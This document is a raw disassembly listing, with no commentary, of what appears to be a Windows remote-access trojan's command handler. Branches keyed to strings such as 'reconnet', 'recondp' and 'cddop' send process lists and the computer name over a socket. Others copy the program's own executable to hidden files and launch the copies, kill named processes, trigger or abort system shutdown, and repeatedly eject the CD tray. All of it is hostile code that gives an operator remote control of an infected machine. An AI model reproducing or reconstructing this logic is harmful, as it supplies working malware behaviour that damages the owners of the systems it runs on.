add esp, 8
test eax, eax
je 0x4092dc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x400
lea ecx, [esp + 0x1214]
push 0
push ecx
mov ebx, eax
mov dword [esp + 0x38c], 0x128
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x380]
push edx
push ebx
call sub.KERNEL32.dll_Process32First
lea eax, [esp + 0x380]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x409246
lea eax, [esp + 0x3a4]
mov edx, eax
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4091e0
lea edi, [esp + 0x1210]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x4091f5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1210]
add edi, 0xffffffff
lea esp, [esp]
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x409220
mov cx, word [0x40f6a8]
lea edx, [esp + 0x380]
push edx
push ebx
mov word [edi], cx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4091d5
lea eax, [esp + 0x1210]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x409250
mov esi, dword [ebp + 8]
push 0
sub eax, edx
push eax
lea eax, [esp + 0x1218]
push eax
push esi
call sub.WS2_32.dll_send
mov ecx, dword [0x40f6b4]
mov edx, dword [0x40f6b8]
mov al, byte [0x40f6bc]
push 0xfb
mov dword [esp + 0x4b4], ecx
lea ecx, [esp + 0x4bd]
push 0
push ecx
mov dword [esp + 0x4c0], edx
mov byte [esp + 0x4c4], al
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4092c0
push 0
sub eax, edx
push eax
lea edx, [esp + 0x4b8]
push edx
push esi
jmp 0x40830e
lea eax, [esp + 0x5e0]
push 0x40fa1c
push eax
call esi
add esp, 8
test eax, eax
je 0x4096bc
push 0x7e8
lea ecx, [esp + 0x3014]
push 0
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x63c
lea edx, [esp + 0x1218]
push 0
push edx
mov dword [esp + 0x121c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x380]
push eax
push edi
mov dword [esp + 0x388], 0x128
call sub.KERNEL32.dll_Process32First
lea ecx, [esp + 0x380]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x409420
lea esi, [esp + 0x1214]
mov eax, dword [esp + 0x388]
push eax
push 0
push 0x1fffff
mov dword [esi - 4], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edx, [esp + 0xfc]
push edx
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x178]
push edx
lea ecx, [esp + 0x184]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov ebx, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea edx, [esp + 0x120]
push edx
lea eax, [esp + 0x114]
push eax
call ebx
lea ecx, [esp + 0x130]
push ecx
lea edx, [esp + 0x100]
push edx
call ebx
movzx ecx, word [esp + 0x12c]
movzx eax, word [esp + 0x13c]
movzx edx, word [esp + 0x13e]
add eax, ecx
movzx ecx, word [esp + 0x12e]
imul eax, eax, 0x3e8
add eax, edx
lea edx, [esp + 0x380]
add eax, ecx
push edx
mov dword [esi], eax
push edi
add esi, 8
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x409370
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x4b0]
push eax
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x4b8], 0x128
call sub.KERNEL32.dll_Process32First
lea ecx, [esp + 0x4b0]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x409619
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
nop
lea eax, [esp + 0x4d4]
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x409480
lea edi, [esp + 0x3010]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x409495
mov edx, dword [esp + 0x4b8]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
mov ecx, eax
push 0
and ecx, 3
push 0x1fffff
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x10c]
push edx
lea ecx, [esp + 0x168]
push ecx
lea edx, [esp + 0x174]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov esi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [esp + 0x140]
push eax
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x150]
push edx
lea eax, [esp + 0x11c]
push eax
call esi
mov ecx, dword [esp + 0x4b8]
xor edx, edx
xor eax, eax
mov edi, edi
cmp dword [esp + eax*8 + 0x1210], ecx
je 0x409535
add eax, 1
cmp eax, 0xc8
jl 0x409520
jmp 0x409537
mov edx, eax
movzx ecx, word [esp + 0x15c]
xor eax, eax
mov dword [esp + 0x1b9], eax
mov dword [esp + 0x1bd], eax
mov dword [esp + 0x1c1], eax
mov dword [esp + 0x1c5], eax
mov word [esp + 0x1c9], ax
mov byte [esp + 0x1cb], al
movzx eax, word [esp + 0x14c]
add ecx, eax
movzx eax, word [esp + 0x14e]
imul ecx, ecx, 0x3e8
sub ecx, dword [esp + edx*8 + 0x1214]
movzx edx, word [esp + 0x15e]
add ecx, edx
add ecx, eax
imul ecx, ecx, 0x64
mov eax, 0x10624dd3
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push ecx
lea edx, [esp + 0x1bc]
push str.__d
push edx
mov byte [esp + 0x1c4], 0
call ebx
lea eax, [esp + 0x1c4]
add esp, 0xc
mov ecx, eax
nop
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4095d0
lea edi, [esp + 0x3010]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x4095e7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x409470
lea eax, [esp + 0x3010]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x409623
mov esi, dword [ebp + 8]
push 0
sub eax, edx
push eax
lea edx, [esp + 0x3018]
push edx
push esi
call sub.WS2_32.dll_send
mov eax, dword [0x40f6b4]
mov ecx, dword [0x40f6b8]
mov dl, byte [0x40f6bc]
mov dword [esp + 0x180], eax
xor eax, eax
push 0x14
mov dword [esp + 0x188], ecx
mov byte [esp + 0x18c], dl
mov dword [esp + 0x18d], eax
mov dword [esp + 0x191], eax
mov word [esp + 0x195], ax
mov byte [esp + 0x197], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x180]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4096a0
push 0
sub eax, edx
push eax
lea eax, [esp + 0x188]
push eax
push esi
jmp 0x40830e
lea ecx, [esp + 0x5e0]
push str.reconnet
push ecx
call esi
add esp, 8
test eax, eax
je 0x409811
push 0x118
lea edx, [esp + 0x1d6c]
push 0
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea eax, [esp + 0x5ec]
push eax
lea ecx, [esp + 0x1d70]
push ecx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0x12b
lea edx, [esp + 0x385]
push 0
push edx
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x384]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [esp + 0x1d6c]
push ecx
lea edx, [esp + 0x388]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea eax, [esp + 0x1d6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
mov ecx, dword [str.mmip]
mov dx, word [0x40f5a8]
xor eax, eax
mov dword [esp + 0x186], eax
mov dword [esp + 0x18a], eax
mov dword [esp + 0x18e], eax
mov dword [esp + 0x192], eax
mov dword [esp + 0x196], eax
mov dword [esp + 0x19a], eax
lea eax, [esp + 0x1a4]
mov dword [esp + 0x180], ecx
mov word [esp + 0x184], dx
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4097c2
lea edi, [esp + 0x180]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x4097e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0
lea eax, [esp + 0x188]
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [esp + 0x1d74]
push ecx
jmp 0x409dbc
lea edx, [esp + 0x5e0]
push str.reconnpc
push edx
call esi
add esp, 8
test eax, eax
je 0x409a28
xor eax, eax
mov dword [esp + 0x20c], eax
mov dword [esp + 0x210], eax
mov dword [esp + 0x214], eax
mov dword [esp + 0x218], eax
mov dword [esp + 0x21c], eax
mov dword [esp + 0x220], eax
mov dword [esp + 0x224], eax
mov dword [esp + 0x228], eax
mov dword [esp + 0x22c], eax
mov byte [esp + 0x1b8], al
mov dword [esp + 0x1b9], eax
mov dword [esp + 0x1bd], eax
mov dword [esp + 0x1c1], eax
mov dword [esp + 0x1c5], eax
mov word [esp + 0x1c9], ax
mov byte [esp + 0x1cb], al
push 0xa
lea eax, [esp + 0x1bc]
push eax
mov dword [esp + 0x210], 0x5c3a43
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCR80.dll__itoa]
lea eax, [esp + 0x1c4]
add esp, 0xc
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x4098d0
mov ecx, dword [str..exe]
mov dl, byte [0x40f5b0]
mov dword [eax], ecx
mov byte [eax + 4], dl
lea eax, [esp + 0x1b8]
mov esi, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4098f4
lea edi, [esp + 0x208]
sub eax, esi
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x409910
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x12b
lea eax, [esp + 0x385]
and ecx, 3
push 0
push eax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea ecx, [esp + 0x384]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea edx, [esp + 0x20c]
push edx
lea eax, [esp + 0x388]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea ecx, [esp + 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
mov ax, word [0x40f5a8]
mov edx, dword [str.mmip]
mov word [esp + 0x184], ax
xor eax, eax
mov dword [esp + 0x186], eax
mov dword [esp + 0x18a], eax
mov dword [esp + 0x18e], eax
mov dword [esp + 0x192], eax
mov dword [esp + 0x196], eax
mov dword [esp + 0x19a], eax
lea eax, [esp + 0x1a4]
mov dword [esp + 0x180], edx
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4099e0
lea edi, [esp + 0x180]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x4099f7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x188]
push ecx
lea edx, [esp + 0x214]
push edx
jmp 0x409dbc
lea eax, [esp + 0x5e0]
push str.reconnpd
push eax
call esi
add esp, 8
test eax, eax
je 0x409c38
xor eax, eax
push 0xa
lea ecx, [esp + 0x1bc]
push ecx
mov dword [esp + 0x210], 0x5c3a44
mov dword [esp + 0x214], eax
mov dword [esp + 0x218], eax
mov dword [esp + 0x21c], eax
mov dword [esp + 0x220], eax
mov dword [esp + 0x224], eax
mov dword [esp + 0x228], eax
mov dword [esp + 0x22c], eax
mov dword [esp + 0x230], eax
mov dword [esp + 0x234], eax
mov byte [esp + 0x1c0], al
mov dword [esp + 0x1c1], eax
mov dword [esp + 0x1c5], eax
mov dword [esp + 0x1c9], eax
mov dword [esp + 0x1cd], eax
mov word [esp + 0x1d1], ax
mov byte [esp + 0x1d3], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCR80.dll__itoa]
lea eax, [esp + 0x1c4]
add esp, 0xc
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x409ae4
mov edx, dword [str..exe]
mov cl, byte [0x40f5b0]
mov dword [eax], edx
mov byte [eax + 4], cl
lea eax, [esp + 0x1b8]
mov esi, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x409b08
lea edi, [esp + 0x208]
sub eax, esi
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x409b20
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x12b
mov ecx, eax
lea edx, [esp + 0x385]
and ecx, 3
push 0
push edx
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x384]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [esp + 0x20c]
push ecx
lea edx, [esp + 0x388]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
mov ecx, dword [str.mmip]
mov dx, word [0x40f5a8]
xor eax, eax
mov dword [esp + 0x186], eax
mov dword [esp + 0x18a], eax
mov dword [esp + 0x18e], eax
mov dword [esp + 0x192], eax
mov dword [esp + 0x196], eax
mov dword [esp + 0x19a], eax
lea eax, [esp + 0x1a4]
mov dword [esp + 0x180], ecx
mov word [esp + 0x184], dx
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x409bf0
lea edi, [esp + 0x180]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x409c07
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0
lea eax, [esp + 0x188]
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [esp + 0x214]
push ecx
jmp 0x409dbc
lea edx, [esp + 0x5e0]
push str.recondp
push edx
call esi
add esp, 8
test eax, eax
je 0x409dd2
mov eax, dword [str.C:111.exe]
mov ecx, dword [0x40fa5c]
mov dx, word [0x40fa60]
mov dword [esp + 0x1b8], eax
mov al, byte [0x40fa62]
mov byte [esp + 0x1c2], al
xor eax, eax
push 0x12b
mov dword [esp + 0x1c0], ecx
push eax
lea ecx, [esp + 0x389]
push ecx
mov word [esp + 0x1cc], dx
mov dword [esp + 0x1cf], eax
mov dword [esp + 0x1d3], eax
mov dword [esp + 0x1d7], eax
mov dword [esp + 0x1db], eax
mov dword [esp + 0x1df], eax
mov dword [esp + 0x1e3], eax
mov dword [esp + 0x1e7], eax
mov byte [esp + 0x1eb], al
mov byte [esp + 0x38c], al
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea edx, [esp + 0x384]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [esp + 0x1bc]
push eax
lea ecx, [esp + 0x388]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea edx, [esp + 0x1bc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
mov eax, dword [str.mmip]
mov cx, word [0x40f5a8]
mov dword [esp + 0x180], eax
xor eax, eax
mov dword [esp + 0x186], eax
mov dword [esp + 0x18a], eax
mov dword [esp + 0x18e], eax
mov dword [esp + 0x192], eax
mov dword [esp + 0x196], eax
mov dword [esp + 0x19a], eax
lea eax, [esp + 0x1a4]
mov word [esp + 0x184], cx
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x409d74
lea edi, [esp + 0x180]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
jmp 0x409d90
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x409d90
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
push 0
lea edx, [esp + 0x188]
and ecx, 3
push edx
lea eax, [esp + 0x1c4]
rep movsb byte es:[edi], byte [esi]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x64
call ebx
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.reconbb
push ecx
call esi
add esp, 8
test eax, eax
je 0x409ecc
push 0x12b
lea edx, [esp + 0x385]
push edi
push edx
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x384]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [str.mmip]
mov dx, word [0x40f5a8]
xor eax, eax
mov dword [esp + 0x186], eax
mov dword [esp + 0x18a], eax
mov dword [esp + 0x18e], eax
mov dword [esp + 0x192], eax
mov dword [esp + 0x196], eax
mov dword [esp + 0x19a], eax
lea eax, [esp + 0x1a4]
mov dword [esp + 0x180], ecx
mov word [esp + 0x184], dx
mov ecx, eax
nop
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x409e70
lea edi, [esp + 0x180]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x409e87
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x188]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.reconbf
push edx
call esi
add esp, 8
test eax, eax
jne 0x40d25f
lea eax, [esp + 0x5e0]
push str.copybbto
push eax
call esi
add esp, 8
test eax, eax
je 0x409f92
push 0x118
lea ecx, [esp + 0x20cc]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea edx, [esp + 0x5ec]
push edx
lea eax, [esp + 0x20d0]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0x12b
lea ecx, [esp + 0x385]
push edi
push ecx
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea edx, [esp + 0x384]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
lea eax, [esp + 0x20cc]
push eax
lea ecx, [esp + 0x388]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea edx, [esp + 0x20cc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fa80
push eax
call esi
add esp, 8
test eax, eax
je 0x409ff8
push 0x118
lea ecx, [esp + 0x298c]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea edx, [esp + 0x5ec]
push edx
lea eax, [esp + 0x2990]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push ebx
push edi
push edi
lea ecx, [esp + 0x2994]
push ecx
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x408320
lea edx, [esp + 0x5e0]
push 0x40fa8c
push edx
call esi
add esp, 8
test eax, eax
je 0x40a05e
push 0x118
lea eax, [esp + 0x2414]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea ecx, [esp + 0x5ec]
push ecx
lea edx, [esp + 0x2418]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push edi
push edi
push edi
lea eax, [esp + 0x241c]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.oppn
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a0ff
lea edx, [esp + 0x5e0]
push 0x40faa0
push edx
call esi
mov esi, eax
add esp, 8
cmp esi, edi
je 0x408320
lea eax, [esp + 0x5e4]
cmp esi, eax
jbe 0x408320
push 0x118
lea ecx, [esp + 0x275c]
push edi
push ecx
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x5ec]
mov edx, esi
sub edx, eax
add esp, 0xc
sub edx, 4
push edx
lea ecx, [esp + 0x5e8]
push ecx
lea edx, [esp + 0x2760]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push ebx
push edi
add esi, ebx
push esi
lea eax, [esp + 0x2764]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.opph
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a1a0
lea edx, [esp + 0x5e0]
push 0x40faa0
push edx
call esi
mov esi, eax
add esp, 8
cmp esi, edi
je 0x408320
lea eax, [esp + 0x5e4]
cmp esi, eax
jbe 0x408320
push 0x118
lea ecx, [esp + 0x21e4]
push edi
push ecx
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x5ec]
mov edx, esi
sub edx, eax
add esp, 0xc
sub edx, 4
push edx
lea ecx, [esp + 0x5e8]
push ecx
lea edx, [esp + 0x21e8]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push edi
push edi
add esi, ebx
push esi
lea eax, [esp + 0x21ec]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push 0x40faac
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a1ce
lea edx, [esp + 0x5e0]
push edx
push 0x406bd0
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fab8
push eax
call esi
add esp, 8
test eax, eax
je 0x40a2ba
push 0x50
lea ecx, [esp + 0xca4]
push 0
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x50
lea edx, [esp + 0x5ec]
push edx
lea eax, [esp + 0xca8]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x4b0]
mov edi, eax
push ecx
push edi
mov dword [esp + 0x4b8], 0x128
call sub.KERNEL32.dll_Process32First
lea edx, [esp + 0x4b0]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x408320
lea eax, [esp + 0x4d4]
push eax
lea ecx, [esp + 0xca4]
push ecx
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
test eax, eax
je 0x40a2a3
mov edx, dword [esp + 0x4b8]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [esp + 0xdc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [esp + 0xdc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x4b0]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40a251
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fac4
push eax
call esi
add esp, 8
test eax, eax
jne 0x40d338
lea ecx, [esp + 0x5e0]
push 0x40fad0
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a338
push 0x12b
lea edx, [esp + 0x385]
push edi
push edx
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x384]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push edi
lea ecx, [esp + 0x38c]
push ecx
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x408320
lea edx, [esp + 0x5e0]
push 0x40fadc
push edx
call esi
add esp, 8
test eax, eax
jne 0x40d381
lea eax, [esp + 0x5e0]
push str.cddop
push eax
call esi
add esp, 8
test eax, eax
je 0x40a3b8
mov edi, dword [sym.imp.WINMM.dll_mciSendStringA]
push 0
push 0
push 0
push str.open_cdaudio_alias_cd
call edi
mov esi, 8
push 0
push 0
push 0
push str.set_cd_door_open
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
push 0
push 0
push 0
push str.set_cd_door_closed
call edi
push 0x1f4
call ebx
sub esi, 1
jne 0x40a380
jmp 0x408320
lea ecx, [esp + 0x5e0]
push 0x40fb30
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a413
push 0x104
lea edx, [esp + 0x2cfc]
push edi
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x2cfc]
push ecx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
push 0x12c
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
jmp 0x408320
lea edx, [esp + 0x5e0]
push 0x40fb38
push edx
call esi
add esp, 8
test eax, eax
je 0x40a46a
push 0x104
lea eax, [esp + 0x2f0c]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x2f0c]
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fb44
push eax
call esi
add esp, 8
test eax, eax
je 0x40a4bd
push 0x104
lea ecx, [esp + 0x2e04]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x2e04]
push eax
mov dword [esp + 0x18], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push edi
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push 0x40fb50
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a580
mov edx, dword [0x40fb5c]
mov al, byte [0x40fb60]
push 0x5f
lea ecx, [esp + 0x211]
push edi
push ecx
mov dword [esp + 0x214], edx
mov byte [esp + 0x218], al
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x9e4]
push eax
mov dword [esp + 0x18], 0x50
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x9e0]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40a527
lea edi, [esp + 0x208]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov edi, edi
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40a540
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x208]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40a561
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0x210]
push ecx
push edx
jmp 0x40830e
lea eax, [esp + 0x5e0]
push str.pmjtdxc
push eax
call esi
add esp, 8
test eax, eax
je 0x40a5b2
push edi
push edi
lea ecx, [esp + 0x1ac]
push ecx
push 0x405470
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x408320
